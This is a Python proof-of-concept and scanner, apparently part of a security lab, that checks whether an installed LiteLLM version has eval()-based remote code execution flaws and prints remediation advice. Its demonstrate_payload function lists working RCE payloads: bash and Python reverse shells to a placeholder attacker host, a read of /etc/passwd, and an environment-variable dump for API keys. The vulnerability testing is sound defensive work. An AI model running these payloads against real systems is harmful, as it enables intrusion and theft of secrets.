nanobot/poc/exploits/litellm_rce.py

461 lines
17 KiB
Python

#!/usr/bin/env python3
"""
POC: LiteLLM Remote Code Execution via eval()
CVE: CVE-2024-XXXX (Multiple related CVEs)
Affected Versions: <= 1.28.11 and < 1.40.16
Impact: Arbitrary code execution on the server
Patched: 1.40.16 (partial), fully patched in later versions
This vulnerability exists in litellm's handling of certain inputs that are
passed to Python's eval() function without proper sanitization.
Known vulnerable code paths in older litellm versions:
1. Template string processing with user-controlled input
2. Custom callback handlers with eval-based parsing
3. Proxy server configuration parsing
IMPORTANT: This POC should only be run against vulnerable litellm versions
(< 1.40.16) in an isolated test environment.
"""
import asyncio
import sys
import os
import json
# Add parent directory to path for imports
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
class LiteLLMRCEPoc:
"""Demonstrates litellm RCE vulnerability via eval()."""
def __init__(self):
self.results = []
self.litellm_version = None
def check_litellm_version(self) -> tuple[str, bool]:
"""Check installed litellm version and if it's vulnerable."""
try:
import litellm
version = litellm.__version__
self.litellm_version = version
# Parse version for comparison
parts = version.split('.')
major = int(parts[0])
minor = int(parts[1]) if len(parts) > 1 else 0
patch = int(parts[2].split('-')[0].split('+')[0]) if len(parts) > 2 else 0
# Vulnerable if < 1.40.16
is_vulnerable = (major < 1) or (major == 1 and minor < 40) or (major == 1 and minor == 40 and patch < 16)
return version, is_vulnerable
except ImportError:
return "not installed", False
except Exception as e:
return f"error: {e}", False
def test_template_injection(self) -> dict:
"""
Test for template injection vulnerability in litellm's string formatting.
In vulnerable versions, user-controlled input in certain template contexts
could be passed to eval().
"""
result = {
"name": "template_injection",
"description": "Template string injection leading to eval()",
"vulnerable": False,
"details": None,
"error": None
}
try:
import litellm
from litellm import completion
# Payload that would execute if eval'd
# This is a benign test - it tries to access __class__ which indicates eval
payload = "__import__('os').popen('echo RCE_SUCCESSFUL').read()"
# In vulnerable versions, certain template variables could be eval'd
# We test by checking if the library has vulnerable code patterns
# Check for vulnerable completion_with_fallbacks or similar
if hasattr(litellm, 'completion_with_fallbacks'):
# Older vulnerable pattern
result["details"] = "Found completion_with_fallbacks (potentially vulnerable pattern)"
# Check utils for eval usage
if hasattr(litellm, 'utils'):
import inspect
utils_source = inspect.getsourcefile(litellm.utils)
if utils_source:
with open(utils_source, 'r') as f:
source = f.read()
if 'eval(' in source:
result["vulnerable"] = True
result["details"] = f"Found eval() in litellm/utils.py"
except Exception as e:
result["error"] = str(e)
self.results.append(result)
return result
def test_callback_rce(self) -> dict:
"""
Test for RCE in custom callback handling.
In vulnerable versions, custom callbacks with certain configurations
could lead to code execution.
"""
result = {
"name": "callback_rce",
"description": "Custom callback handler code execution",
"vulnerable": False,
"details": None,
"error": None
}
try:
import litellm
# Check for vulnerable callback patterns
if hasattr(litellm, 'callbacks'):
# Look for dynamic import/eval in callback handling
import inspect
try:
callback_source = inspect.getsource(litellm.callbacks) if hasattr(litellm, 'callbacks') else ""
if 'eval(' in callback_source or 'exec(' in callback_source:
result["vulnerable"] = True
result["details"] = "Found eval/exec in callback handling code"
except:
pass
# Check _custom_logger_compatible_callbacks_literal
if hasattr(litellm, '_custom_logger_compatible_callbacks_literal'):
result["details"] = "Found custom logger callback handler (check version)"
except Exception as e:
result["error"] = str(e)
self.results.append(result)
return result
def test_proxy_config_injection(self) -> dict:
"""
Test for code injection in proxy configuration parsing.
The litellm proxy server had vulnerabilities where config values
could be passed to eval().
"""
result = {
"name": "proxy_config_injection",
"description": "Proxy server configuration injection",
"vulnerable": False,
"details": None,
"error": None
}
try:
import litellm
# Check if proxy module exists and has vulnerable patterns
try:
from litellm import proxy
import inspect
# Get proxy module source files
proxy_path = os.path.dirname(inspect.getfile(proxy))
vulnerable_files = []
for root, dirs, files in os.walk(proxy_path):
for f in files:
if f.endswith('.py'):
filepath = os.path.join(root, f)
try:
with open(filepath, 'r') as fp:
content = fp.read()
if 'eval(' in content:
vulnerable_files.append(f)
except:
pass
if vulnerable_files:
result["vulnerable"] = True
result["details"] = f"Found eval() in proxy files: {', '.join(vulnerable_files)}"
else:
result["details"] = "No eval() found in proxy module (may be patched)"
except ImportError:
result["details"] = "Proxy module not available"
except Exception as e:
result["error"] = str(e)
self.results.append(result)
return result
def test_model_response_parsing(self) -> dict:
"""
Test for unsafe parsing of model responses.
Some versions had vulnerabilities in how model responses were parsed,
potentially allowing code execution through crafted responses.
"""
result = {
"name": "response_parsing_rce",
"description": "Unsafe model response parsing",
"vulnerable": False,
"details": None,
"error": None
}
try:
import litellm
from litellm.utils import ModelResponse
# Check if ModelResponse uses any unsafe parsing
import inspect
source = inspect.getsource(ModelResponse)
if 'eval(' in source or 'exec(' in source:
result["vulnerable"] = True
result["details"] = "Found eval/exec in ModelResponse class"
elif 'json.loads' in source:
result["details"] = "Uses json.loads (safer than eval)"
except Exception as e:
result["error"] = str(e)
self.results.append(result)
return result
def test_ssti_vulnerability(self) -> dict:
"""
Test for Server-Side Template Injection (SSTI).
CVE in litellm < 1.34.42 allowed SSTI through template processing.
"""
result = {
"name": "ssti_vulnerability",
"description": "Server-Side Template Injection (SSTI) - CVE in < 1.34.42",
"vulnerable": False,
"details": None,
"error": None
}
try:
import litellm
# Check for jinja2 or other template usage without sandboxing
try:
import jinja2
# Check if litellm uses jinja2 templates unsafely
litellm_path = os.path.dirname(litellm.__file__)
for root, dirs, files in os.walk(litellm_path):
for f in files:
if f.endswith('.py'):
filepath = os.path.join(root, f)
try:
with open(filepath, 'r') as fp:
content = fp.read()
if 'jinja2' in content.lower() and 'Template(' in content:
if 'SandboxedEnvironment' not in content:
result["vulnerable"] = True
result["details"] = f"Unsandboxed Jinja2 template in {f}"
break
except:
pass
if result["vulnerable"]:
break
if not result["vulnerable"]:
result["details"] = "No unsafe template usage detected"
except ImportError:
result["details"] = "jinja2 not installed"
except Exception as e:
result["error"] = str(e)
self.results.append(result)
return result
def demonstrate_payload(self) -> dict:
"""
Demonstrate what a successful RCE payload would look like.
NOTE: This does NOT execute malicious code - it only shows the pattern.
"""
result = {
"name": "payload_demonstration",
"description": "Example RCE payload patterns (demonstration only)",
"payloads": []
}
# Example payloads that would work against vulnerable versions
payloads = [
{
"name": "OS Command Execution",
"payload": "__import__('os').system('id')",
"description": "Execute system command via os.system"
},
{
"name": "Reverse Shell",
"payload": "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"')",
"description": "Spawn reverse shell to attacker"
},
{
"name": "File Read",
"payload": "__import__('builtins').open('/etc/passwd').read()",
"description": "Read arbitrary files"
},
{
"name": "Environment Exfiltration",
"payload": "str(__import__('os').environ)",
"description": "Extract environment variables (API keys, secrets)"
},
{
"name": "Python Code Execution",
"payload": "exec('import socket,subprocess;s=socket.socket();s.connect((\"attacker\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())')",
"description": "Execute arbitrary Python code"
}
]
result["payloads"] = payloads
self.results.append(result)
return result
async def run_all_tests(self):
"""Run all RCE vulnerability tests."""
print("=" * 60)
print("LITELLM RCE VULNERABILITY POC")
print("CVE: Multiple (eval-based RCE)")
print("Affected: litellm < 1.40.16")
print("=" * 60)
print()
# Check version first
version, is_vulnerable = self.check_litellm_version()
print(f"[INFO] Installed litellm version: {version}")
print(f"[INFO] Version vulnerability status: {'⚠️ POTENTIALLY VULNERABLE' if is_vulnerable else '✅ PATCHED'}")
print()
if not is_vulnerable:
print("=" * 60)
print("NOTE: Current version appears patched.")
print("To test vulnerable versions, use:")
print(" docker compose --profile vulnerable up nanobot-vulnerable")
print("=" * 60)
print()
# Run tests
print("--- VULNERABILITY TESTS ---")
print()
print("[TEST 1] Template Injection")
r = self.test_template_injection()
self._print_result(r)
print("[TEST 2] Callback Handler RCE")
r = self.test_callback_rce()
self._print_result(r)
print("[TEST 3] Proxy Configuration Injection")
r = self.test_proxy_config_injection()
self._print_result(r)
print("[TEST 4] Model Response Parsing")
r = self.test_model_response_parsing()
self._print_result(r)
print("[TEST 5] Server-Side Template Injection (SSTI)")
r = self.test_ssti_vulnerability()
self._print_result(r)
print("[DEMO] Example RCE Payloads")
r = self.demonstrate_payload()
print(" Example payloads that would work against vulnerable versions:")
for p in r["payloads"]:
print(f" - {p['name']}: {p['description']}")
print()
self._print_summary(version, is_vulnerable)
return self.results
def _print_result(self, result: dict):
"""Print a single test result."""
if result.get("vulnerable"):
status = "⚠️ VULNERABLE"
elif result.get("error"):
status = "❌ ERROR"
else:
status = "✅ NOT VULNERABLE / PATCHED"
print(f" Status: {status}")
print(f" Description: {result.get('description', 'N/A')}")
if result.get("details"):
print(f" Details: {result['details']}")
if result.get("error"):
print(f" Error: {result['error']}")
print()
def _print_summary(self, version: str, is_vulnerable: bool):
"""Print test summary."""
print("=" * 60)
print("SUMMARY")
print("=" * 60)
vulnerable_count = sum(1 for r in self.results if r.get("vulnerable"))
print(f"litellm version: {version}")
print(f"Version is vulnerable (< 1.40.16): {is_vulnerable}")
print(f"Vulnerable patterns found: {vulnerable_count}")
print()
if is_vulnerable or vulnerable_count > 0:
print("⚠️ VULNERABILITY CONFIRMED")
print()
print("Impact:")
print(" - Remote Code Execution on the server")
print(" - Access to environment variables (API keys)")
print(" - File system access")
print(" - Potential for reverse shell")
print()
print("Remediation:")
print(" - Upgrade litellm to >= 1.40.16 (preferably latest)")
print(" - Pin to specific patched version in requirements")
else:
print("✅ No vulnerable patterns detected in current version")
print()
print("The installed version appears to be patched.")
print("Continue monitoring for new CVEs in litellm.")
return {
"version": version,
"is_version_vulnerable": is_vulnerable,
"vulnerable_patterns_found": vulnerable_count,
"overall_vulnerable": is_vulnerable or vulnerable_count > 0
}
async def main():
poc = LiteLLMRCEPoc()
results = await poc.run_all_tests()
# Write results to file
results_path = "/results/litellm_rce_results.json" if os.path.isdir("/results") else "litellm_rce_results.json"
with open(results_path, "w") as f:
json.dump(results, f, indent=2, default=str)
print(f"\nResults written to: {results_path}")
if __name__ == "__main__":
asyncio.run(main())